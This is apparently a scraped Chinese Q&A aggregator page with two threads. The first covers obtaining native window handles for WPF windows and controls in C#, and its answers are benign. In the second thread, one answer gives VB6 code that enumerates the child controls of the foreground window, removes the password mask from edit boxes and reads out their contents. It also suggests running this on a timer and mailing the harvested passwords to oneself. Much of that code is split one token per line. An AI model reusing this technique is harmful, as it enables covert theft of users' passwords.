WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。相关的知识,希望对你有一定的参考价值。
我要在WPF窗体中同时控制一个按钮和一个image,在image里放置3D场景,我要把image的句柄传给3D场景,以保证3D场景能在WPF窗体中呈现,并且可以操纵2D按钮,请高手不吝赐教啊!
using System.Windows.Interop; //使用WindowInteropHelper类可以获得窗体句柄 int handle = new WindowInteropHelper(this).Handle.ToInt32();我们在项目中使用WPF开发程序,需要调用一个Activex控件,显示三维的场景,但是需要把当前窗口的句柄传递给OCX控件,WPF窗口本身没有句柄属性,需要通过如下的方式实现转换int handle = new WindowInteropHelper(this).Handle.ToInt32();
//this代表当前的窗口 参考技术A 1.窗体:
IntPtr hwnd = new WindowInteropHelper(this).Handle;
2.控件:
IntPtr hwnd = ((HwndSource)PresentationSource.FromVisual(uielement)).Handle;
句柄的取得不要在构造 函数中取得,此时的vitual还没有产生,在Loaded中 就可以了。 参考技术B 试试:varhwndSource=(System.Windows.Interop.HwndSource)PresentationSource.FromDependencyObject(dependecyObject);
IntPtrhandle=hwndSource.Handle 参考技术C WPF的控件是没有句柄的,因为和普通的winform不一样,WPF的控件是“画”上去的,只有整个窗体的句柄
c#,获取控件的句柄?,高手入!
'缓存子窗体控件句柄Public
ChildHwnd
As
String
Declare
Sub
Sleep
Lib
"kernel32"
(ByVal
dwMilliseconds
As
Long)
'发送消息
Declare
Function
SendMessage
Lib
"user32"
Alias
"SendMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
lParam
As
Any)
As
Long
Declare
Function
PostMessage
Lib
"user32"
Alias
"PostMessageA"
(ByVal
hWnd
As
Long,
ByVal
wMsg
As
Long,
ByVal
wParam
As
Long,
ByVal
lParam
As
Long)
As
Long
'主要用来遍历子窗体和子控件句柄
Declare
Function
EnumChildWindows
Lib
"user32"
(ByVal
hWndParent
As
Long,
ByVal
lpEnumFunc
As
Long,
ByVal
lParam
As
Long)
As
Long
'控件类型
Declare
Function
GetClassName
Lib
"user32"
Alias
"GetClassNameA"
(ByVal
hWnd
As
Long,
ByVal
lpClassName
As
String,
ByVal
nMaxCount
As
Long)
As
Long
'开始遍历
EnumChildWindows
me.hWnd,
AddressOf
EnumChildProc,
ByVal
0&
'遍历子窗体控件句柄,这个函数必须用在模块中
Public
Function
EnumChildProc(ByVal
hWnd
As
Long,
ByVal
lParam
As
Long)
As
Long
ChildHwnd
=
ChildHwnd
&
","
&
hWnd
EnumChildProc
=
1
End
Function
'由于上面这个函数每次调用都会得到下一个子窗体(控件)的句柄,并赋值给hWnd,实际使用中,我把所有子句柄存放在ChildHwnd字符串中,遍历完毕,再
'Dim
AllHwnd()
As
String
'去除多余的无效字符
'ChildHwnd
=
Mid(ChildHwnd,
2)
'转换成数组
'AllHwnd
=
Split(ChildHwnd,
",")
'获得所有子句柄后,需要获取其控件类型
'查看窗体/控件类型
Public
Function
FGetClassName(hWnd
As
Long)
As
String
Dim
ClassName
As
String
Dim
Ret
As
Long
'为类名设置缓存区大小
ClassName
=
Space(256)
'得到GETCLASSNAME返回值
Ret
=
GetClassName(hWnd,
ClassName,
256)
FGetClassName
=
Left(ClassName,
Ret)
End
Function
'直接sendmessage
就可以得到控件中的内容了,对于某些可能有passwordchar属性的控件,需要先sendmessage查看其passwordchar属性,再 postmessage取消该属性,一定时间延迟后(一定要),再sendmessage读取内容,再sendmessage恢复passwordchar属性
Public
Function
GetText(WindowHandle
As
Long)
As
String
Dim
strBuffer
As
String,
Char
As
String,
lngTextLength
As
Long
strBuffer
=
Space(255)
'得到password掩码
Char
=
SendMessage(WindowHandle,
&HD2,
0,
0)
'去除edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
0,
0
'如果是edit控件则等待消息发送成功
If
InStr("Edit",
FGetClassName(WindowHandle))
And
Char
<>
"0"
Then
Sleep
(10)
'得到edit控件的text
SendMessage
WindowHandle,
&HD,
255,
ByVal
strBuffer
'恢复edit控件的passwordchar属性
PostMessage
WindowHandle,
&HCC,
ByVal
Char,
0
GetText
=
Trim(strBuffer)
End
Function
'最后,利用timer控件,不断获取当前窗体GetForegroundWindow的所有子控件的内容就可以了
'可以向密码结巴那样,整理出密码后smtp到自己邮箱(参见使用winsock和smtp一文)
'测试了下,我自己机器上,只有qq2007
beta3的密码是读不出来的,用户名是假的
'这种较高级的消息只对普通edit控件产生作用,自己写个类就比较安全了
'今天在安全焦点看了篇文章,可以直接从内存中读取控件内容,vb要实现可能很有点难... 参考技术A 这个好像是关闭电脑的API吧
至于你说的句柄问题,好像不是吧,你需要个系统消息,我当时做的时候也差不多。 参考技术B "string
lpszClass,
string
lpszWindow
在原FindWindowEx中是指针。。
将string
lpszClass,
string
lpszWindow改为
ref
string
lpszClass,
ref
string
lpszWindow
引用传递。。试下。"
以上是关于WPF的控件没有句柄,但是有啥其他间接方法获得WPF控件的句柄啊。的主要内容,如果未能解决你的问题,请参考以下文章